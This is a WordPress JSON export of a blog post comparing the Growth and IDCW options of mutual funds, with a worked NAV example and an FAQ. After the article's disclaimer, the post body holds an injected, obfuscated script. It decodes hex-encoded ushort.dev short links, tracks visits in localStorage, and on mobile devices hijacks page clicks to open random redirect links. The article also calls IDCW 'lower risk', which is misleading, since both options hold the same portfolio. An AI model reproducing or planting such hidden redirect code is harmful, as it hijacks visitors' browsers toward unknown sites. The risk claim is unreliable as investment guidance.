{"id":15448,"date":"2025-10-30T10:43:06","date_gmt":"2025-10-30T10:43:06","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15448"},"modified":"2026-05-25T23:41:45","modified_gmt":"2026-05-26T06:11:45","slug":"growth-vs-idcw","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/","title":{"rendered":"Choosing Between Growth vs. IDCW: A Guide for Smart Investors"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#What_is_IDCW_in_a_mutual_fund\" >What is IDCW in a mutual fund?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#What_is_a_Growth_Option_in_a_Mutual_Fund\" >What is a Growth Option in a Mutual Fund?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#Difference_Between_Growth_and_IDCW_In_a_Mutual_Fund\" >Difference Between Growth and IDCW In a Mutual Fund<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#How_do_both_options_work\" >How do both options work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#Conclusion\" >Conclusion&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/#IDCW_Vs_Growth_Mutual_Funds_FAQs\" >IDCW Vs. Growth Mutual Funds | FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Choosing Between Growth vs. IDCW: A Guide for Smart Investors<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Have you ever noticed that there are two options for the mutual funds you invest in? Often, people miss this, but if you look into your mutual fund account and the schemes you have invested in, you can find that there are two options which you can choose \u2013 <strong>IDCW and Growth<\/strong>. So, what are these two options? How do they affect your mutual fund returns or cash flows? <strong>IDCW vs. Growth, <\/strong>and which one to pick out of these two might be something you are thinking about now, isn\u2019t it?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, in this article, we will focus on the <strong>idcw and growth differences<\/strong>, which one investor should choose and why, and all other aspects of both IDCW and Growth options in mutual funds.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 id=\"h-what-is-idcw-in-a-mutual-fund\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_IDCW_in_a_mutual_fund\"><\/span>What is IDCW in a mutual fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>IDCW full form<\/strong> stands for Income Distribution cum Capital Withdrawal, and the <strong>IDCW meaning<\/strong> is exactly what its name suggests. So, this option offers the investors periodic payments out of the profits made by the fund. These are distributed as dividends and depend on the performance of the fund.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This option helps in generating a regular cash flow without redeeming the investments; however, that reduces the fund\u2019s <a href=\"https:\/\/shoonya.com\/blog\/what-is-nav\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">net asset value<\/mark><\/a> (NAV) and limits the potential long-term growth.&nbsp;<\/p>\n\n\n\n<h3 id=\"h-features-of-the-idcw-option-nbsp\" class=\"wp-block-heading\">Features of the IDCW Option&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Provides regular payouts of the fund\u2019s profit, thus creating a source of regular income.&nbsp;<\/li>\n\n\n\n<li>The payouts are not guaranteed, which one must bear in mind as they depend on the performance of the fund.&nbsp;<\/li>\n\n\n\n<li>Lower compounding effect as the earnings are withdrawn and distributed, and not reinvested.&nbsp;<\/li>\n\n\n\n<li>Reduces the NAV of the fund as dividends are distributed out of the profits generated by the fund<\/li>\n\n\n\n<li>The income from this option is added to the \u201cincome from other sources\u201d in your ITR and taxed as per your applicable tax slab<\/li>\n<\/ul>\n\n\n\n<h3 id=\"h-who-should-choose-the-idcw-option\" class=\"wp-block-heading\">Who Should Choose the IDCW Option?<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Retirees who are looking for a regular source of income or any other individuals trying to build a regular source of income from investments<\/li>\n\n\n\n<li>It is also suitable for risk-averse investors, as this option offers lower risk exposure&nbsp;<\/li>\n\n\n\n<li>People who are looking for short-term investments to preserve capital while earning some return on it&nbsp;<\/li>\n<\/ul>\n\n\n\n<h2 id=\"h-what-is-a-growth-option-in-a-mutual-fund\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_a_Growth_Option_in_a_Mutual_Fund\"><\/span>What is a Growth Option in a Mutual Fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Now, as you are trying to understand between <strong>idcw vs growth, which is better<\/strong>, let&#8217;s understand the other side of the story. The Growth option is where all the profits made by the mutual fund are reinvested in the fund itself, which increases the value of the mutual fund units. This option helps in building long-term wealth with the compounding effect. This option does not offer any periodic payouts but helps in accumulating wealth over the years.&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<h3 id=\"h-features-of-growth-option-nbsp\" class=\"wp-block-heading\">Features of Growth Option&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mutual fund profits or earnings are reinvested in the scheme itself, which enhances the capital growth&nbsp;<\/li>\n\n\n\n<li>No capital is withdrawn during the tenure of the mutual fund investment<\/li>\n\n\n\n<li>The fund&#8217;s performance depends on the markets, and in the long term, capital appreciation takes place&nbsp;<\/li>\n\n\n\n<li>The compounding effect is high as the earnings are reinvested into the fund itself. This increases the wealth accumulation as well.<\/li>\n\n\n\n<li>NAV remains high as no profits are distributed out of the fund.&nbsp;<\/li>\n\n\n\n<li>Tax is levied only when you redeem the fund units.&nbsp;<\/li>\n<\/ul>\n\n\n\n<h3 id=\"h-who-should-choose-the-growth-option-nbsp\" class=\"wp-block-heading\">Who Should Choose the Growth Option?&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>People who are looking for long-term capital appreciation&nbsp;<\/li>\n\n\n\n<li>Investors with a high risk tolerance level&nbsp;<\/li>\n\n\n\n<li>People who fall under the higher tax brackets, as this option offers tax efficiency in the long term<\/li>\n\n\n\n<li>People with long-term financial goals such as higher education, buying a house, or building a corpus for retirement.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 id=\"h-difference-between-growth-and-idcw-in-a-mutual-fund\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Difference_Between_Growth_and_IDCW_In_a_Mutual_Fund\"><\/span>Difference Between Growth and IDCW In a Mutual Fund<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Basis&nbsp;<\/strong><\/td><td><strong>Growth Option<\/strong><\/td><td><strong>IDCW Option<\/strong><\/td><\/tr><tr><td><strong>Returns<\/strong><\/td><td>Due to reinvestment, returns are higher&nbsp;&nbsp;<\/td><td>As profits are distrusted, the returns are lower&nbsp;&nbsp;<\/td><\/tr><tr><td><strong>Risk&nbsp;<\/strong><\/td><td>Higher risk due to market volatility&nbsp;<\/td><td>Lower risk as regular payouts are offered<\/td><\/tr><tr><td><strong>Liquidity&nbsp;<\/strong><\/td><td>Lower liquidity, as you can get the funds only upon redemption<\/td><td>Higher liquidity as you get periodic cash inflows<\/td><\/tr><tr><td><strong>Impact on NAV<\/strong><\/td><td>NAV grows as profits are reinvested<\/td><td>NAV decreases after each payout<\/td><\/tr><tr><td><strong>Tax Effect<\/strong><\/td><td>Only taxed upon redemption.&nbsp;<\/td><td>Payouts are treated as other income and taxed as per the tax slab in which the investor falls.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 id=\"h-how-do-both-options-work\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_do_both_options_work\"><\/span>How do both options work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To understand <strong>IDCW vs. the growth option<\/strong> better, here is how both these options work.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Suppose you have invested \u20b910000 each into the IDCW and Growth option of a mutual fund scheme on 1 April 2025. The NAV at the time of investment was \u20b9100, so the number of units you got into your account is (\u20b910000\/\u20b9100) = 100 units of both the plans.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, suppose as on 1<sup>st<\/sup> October 2025, the NAV of both the plans increased to \u20b9110.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Under the IDCW plan, they declare a dividend of \u20b910 per unit, so you will receive \u20b910*100 units = \u20b91000 as payout from the IDCW plan. Once this payout is made, the NAV of the plan will reduce by \u20b910 and will again be \u20b9100 per unit.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the other hand, since there is no payout under the Growth plan, and the earnings of the fund are reinvested, the NAV will remain at \u20b9110, which means your investment value will be now \u20b911000 under the Growth plan, which under IDCW it will be \u20b910000 as on 1<sup>st<\/sup> October 2025.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, since under the growth plan, the earnings are reinvested, due to the compounding effect, in the long run, the capital appreciation will be higher than the IDCW plan.&nbsp;<\/p>\n\n\n\n<h2 id=\"h-conclusion-nbsp\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Both IDCW and Growth plans have their own share of pros and cons. While one offers stability and regular income benefits, the other helps in wealth accumulation. So, it is not about which one is better than which one; it is about which one is suitable for your investment goals.&nbsp;<\/p>\n\n\n\n<h2 id=\"h-idcw-vs-growth-mutual-funds-faqs\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"IDCW_Vs_Growth_Mutual_Funds_FAQs\"><\/span>IDCW Vs. Growth Mutual Funds | FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1761820122493\"><strong class=\"schema-faq-question\"><strong>Which is better, growth or IDCW?<\/strong><\/strong> <p class=\"schema-faq-answer\">Both plans are good for a specific set of investors. It depends on your investment goals, which plan will be suitable and more beneficial.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1761820123203\"><strong class=\"schema-faq-question\"><strong>Are the Dividend fund and the IDCW fund are same?<\/strong><\/strong> <p class=\"schema-faq-answer\">Often, people refer IDCW plan of a mutual fund as a dividend fund or a dividend option.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1761820196637\"><strong class=\"schema-faq-question\"><strong>What is the disadvantage of IDCW?<\/strong><\/strong> <p class=\"schema-faq-answer\">Taxes are levied on each payout, and the returns are lower compared to the Growth option.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1761820197773\"><strong class=\"schema-faq-question\">Are Growth plans good for the long term?<\/strong> <p class=\"schema-faq-answer\">Yes, the Growth plan of a mutual fund is good for long-term wealth accumulation.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1761820222941\"><strong class=\"schema-faq-question\">Are the IDCW plans good for retirement?<\/strong> <p class=\"schema-faq-answer\">Yes, with the IDCW plan, you can have a source of periodic income, which can help you during your retirement days. However, the dividend payouts depend on the performance of the fund.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Have you ever noticed that there are two options for the mutual funds you invest in? Often, people miss this, but if you look into your mutual fund account and the schemes you have invested in, you can find that there are two options which you can choose \u2013 IDCW and Growth. So, what are &hellip; <a href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Choosing Between Growth vs. IDCW: A Guide for Smart Investors&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15451,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12],"tags":[8713,8704,8710,8706,8705,8707,8709,8711,8714,8712,8708],"class_list":["post-15448","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","tag-difference-between-growth-and-idcw-in-mutual-fund","tag-growth-vs-idcw","tag-idcw-and-growth-difference","tag-idcw-full-form","tag-idcw-meaning","tag-idcw-vs-growth","tag-idcw-vs-growth-mutual-fund","tag-idcw-vs-growth-which-is-better","tag-idcw-vs-growth-option","tag-what-is-difference-between-growth-and-idcw","tag-what-is-idcw-in-mutual-fund"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Growth or IDCW: Which one to choose for your Mutual Funds?<\/title>\n<meta name=\"description\" content=\"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Growth or IDCW: Which one to choose for your Mutual Funds?\" \/>\n<meta property=\"og:description\" content=\"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/growth-vs-idcw\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-30T10:43:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-26T06:11:45+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"atulrana\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Growth or IDCW: Which one to choose for your Mutual Funds?\" \/>\n<meta name=\"twitter:description\" content=\"It is important to know the difference between Growth and IDCW options so that you can choose the right one for your mutual fund investments.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/10\/idcw-vs-growth.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"atulrana\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/\"},\"author\":{\"name\":\"atulrana\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"headline\":\"Choosing Between Growth vs. IDCW: A Guide for Smart Investors\",\"datePublished\":\"2025-10-30T10:43:06+00:00\",\"dateModified\":\"2026-05-26T06:11:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/\"},\"wordCount\":1162,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/growth-vs-idcw\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/10\\\/idcw-vs-growth.jpg\",\"keywords\":[\"difference between growth and idcw in mutual fund\",\"Growth Vs IDCW\",\"idcw and growth difference\",\"idcw full form\",\"idcw meaning\",\"idcw vs growth\",\"idcw vs growth mutual fund\",\"idcw vs growth which is better\",\"idcw vs. growth option\",\"what is difference between growth and idcw\",\"what is idcw in mutual fund\"],\"articleSection\":[\"Mutual 